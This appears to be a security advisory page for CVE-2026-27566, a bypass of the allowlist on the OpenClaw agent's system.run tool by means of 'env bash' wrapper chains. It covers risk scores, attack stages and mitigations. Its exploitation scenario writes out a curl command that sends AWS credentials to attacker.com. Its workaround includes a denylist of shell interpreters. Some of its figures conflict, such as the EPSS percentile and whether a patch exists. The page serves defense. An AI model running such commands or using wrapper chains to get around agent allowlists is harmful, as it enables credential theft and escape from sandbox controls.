CVE-2026-27566: OpenClaw allowlist bypass enables

CISO Take

OpenClaw's system.run tool fails to recursively unwrap shell dispatcher wrapper chains — an attacker routes commands through binaries like 'env bash' that satisfy allowlist checks while silently executing arbitrary payloads beneath them. With a network-accessible attack vector, low attack complexity, and only low privileges required (CVSS 7.1), any authenticated user of an OpenClaw deployment can achieve arbitrary OS command execution on the host. EPSS places this in the top 67th percentile for exploitation likelihood, and AIID #1368 already documents credential theft via malicious OpenClaw skills, signaling this ecosystem is actively targeted. Upgrade immediately to OpenClaw 2026.2.22 or later; if patching is blocked, disable system.run or restrict agent tool configurations to exclude shell interpreter invocation.

Sources: NVD EPSS GitHub Advisory ATLAS VulnCheck

What is the risk?

High risk in any OpenClaw deployment that exposes the system.run tool. Network accessibility, low privileges, and low attack complexity mean exploitation is trivial for any authenticated user — no specialized AI knowledge required. The 396 other CVEs in this package signal persistent security debt, and the ai_agent category means compromise can cascade into broader agentic pipeline abuse including credential exfiltration and lateral movement. Absence from CISA KEV and lack of a public exploit moderates immediate widespread risk, but the bypass technique is straightforward enough that weaponization is expected once the advisory is public.

How does the attack unfold?

Initial Access

Attacker authenticates to an OpenClaw deployment using low-privilege credentials (compromised account, malicious insider, or exposed API endpoint) and gains access to the agent tool API.

AML.T0012

Allowlist Bypass

Attacker crafts a system.run invocation using an 'env bash' wrapper chain; the validator approves the top-level 'env' binary without recursively unwrapping the shell dispatcher argument, allowing the payload to pass allowlist enforcement.

AML.T0107

Arbitrary Command Execution

The smuggled bash command executes with agent process privileges, granting full OS command execution on the host outside any sandbox or allowlist restriction.

AML.T0050

Impact

Attacker exfiltrates API keys, cloud credentials, or model artifacts from the host environment, or establishes persistence for lateral movement into connected AI infrastructure and pipelines.

AML.T0112.000

Initial Access

Attacker authenticates to an OpenClaw deployment using low-privilege credentials (compromised account, malicious insider, or exposed API endpoint) and gains access to the agent tool API.

AML.T0012

Allowlist Bypass

Attacker crafts a system.run invocation using an 'env bash' wrapper chain; the validator approves the top-level 'env' binary without recursively unwrapping the shell dispatcher argument, allowing the payload to pass allowlist enforcement.

AML.T0107

Arbitrary Command Execution

The smuggled bash command executes with agent process privileges, granting full OS command execution on the host outside any sandbox or allowlist restriction.

AML.T0050

Impact

Attacker exfiltrates API keys, cloud credentials, or model artifacts from the host environment, or establishes persistence for lateral movement into connected AI infrastructure and pipelines.

AML.T0112.000

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
OpenClaw	pip	—	No patch
4 dependents 37% patched ~3d to patch Full package profile →

Do you use OpenClaw? You're affected.

How severe is it?

CVSS 3.1

7.1 / 10

EPSS

0.4%

chance of exploitation in 30 days

Higher than 35% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

No known exploitation

Sophistication

Trivial

What is the attack surface?

AV Network

AC Low

PR Low

UI None

S Unchanged

C None

I High

A Low

What should I do?

5 steps

Patch: Upgrade OpenClaw to 2026.2.22 or later (patch commit 2b63592).
Workaround: If patching is not immediately possible, disable system.run in agent tool configurations or enforce a denylist blocking shell interpreter invocations (bash, sh, env, exec, xargs).
Detection: Audit agent subprocess logs for patterns where allowlisted binaries spawn shell interpreters as children (e.g., env → bash, env → sh). Alert on 'bash -c' or 'sh -c' in OpenClaw process trees.
Least privilege: Audit all OpenClaw agent configurations and remove system.run where not strictly required.
Network segmentation: Restrict OpenClaw agent API access to trusted internal callers only to reduce attack surface.

What does CISA's SSVC say?

Decision Track

Exploitation none

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Auth Bypass Code Execution Agent Plugin AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0053 - AI Agent Tool Invocation AML.T0107 - Exploitation for Defense Evasion AML.T0112.000 - Local AI Agent

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.9.3 - AI system testing and evaluation

NIST AI RMF

MANAGE 2.2 - Mechanisms for preventing unauthorized AI system use

OWASP LLM Top 10

LLM07:2025 - Insecure Plugin Design LLM08:2025 - Excessive Agency

Frequently Asked Questions

What is CVE-2026-27566?

OpenClaw's system.run tool fails to recursively unwrap shell dispatcher wrapper chains — an attacker routes commands through binaries like 'env bash' that satisfy allowlist checks while silently executing arbitrary payloads beneath them. With a network-accessible attack vector, low attack complexity, and only low privileges required (CVSS 7.1), any authenticated user of an OpenClaw deployment can achieve arbitrary OS command execution on the host. EPSS places this in the top 67th percentile for exploitation likelihood, and AIID #1368 already documents credential theft via malicious OpenClaw skills, signaling this ecosystem is actively targeted. Upgrade immediately to OpenClaw 2026.2.22 or later; if patching is blocked, disable system.run or restrict agent tool configurations to exclude shell interpreter invocation.

Is CVE-2026-27566 actively exploited?

No confirmed active exploitation of CVE-2026-27566 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-27566?

1. Patch: Upgrade OpenClaw to 2026.2.22 or later (patch commit 2b63592). 2. Workaround: If patching is not immediately possible, disable system.run in agent tool configurations or enforce a denylist blocking shell interpreter invocations (bash, sh, env, exec, xargs). 3. Detection: Audit agent subprocess logs for patterns where allowlisted binaries spawn shell interpreters as children (e.g., env → bash, env → sh). Alert on 'bash -c' or 'sh -c' in OpenClaw process trees. 4. Least privilege: Audit all OpenClaw agent configurations and remove system.run where not strictly required. 5. Network segmentation: Restrict OpenClaw agent API access to trusted internal callers only to reduce attack surface.

What systems are affected by CVE-2026-27566?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI automation pipelines, multi-agent orchestrations, local AI agent deployments.

What is the CVSS score for CVE-2026-27566?

CVE-2026-27566 has a CVSS v3.1 base score of 7.1 (HIGH). The EPSS exploitation probability is 0.42%.

What is the AI security impact?

Affected AI Architectures

agent frameworksAI automation pipelinesmulti-agent orchestrationslocal AI agent deployments

MITRE ATLAS Techniques

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0053 AI Agent Tool Invocation

AML.T0107 Exploitation for Defense Evasion

AML.T0112.000 Local AI Agent

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.9.3

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM07:2025, LLM08:2025

What are the technical details?

Original Advisory

OpenClaw versions prior to 2026.2.22 contain an allowlist bypass vulnerability in system.run exec analysis that fails to unwrap env and shell-dispatch wrapper chains. Attackers can route execution through wrapper binaries like env bash to smuggle payloads that satisfy allowlist entries while executing non-allowlisted commands.

Exploitation Scenario

An attacker with low-privilege access — a compromised trial account or malicious insider — sends a crafted system.run invocation specifying 'env bash -c "curl attacker.com/exfil?d=$(cat ~/.aws/credentials | base64)"'. The allowlist validator evaluates only the top-level binary ('env'), finds it permitted, and passes execution without unwrapping the subsequent shell dispatcher argument chain. Bash executes the payload as the agent process, exfiltrating cloud credentials or Anthropic API keys from host environment variables. In a multi-tenant or enterprise deployment where OpenClaw agents share infrastructure with other AI services, this single low-privilege entry point escalates to full pipeline compromise.

Weaknesses (CWE)

CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.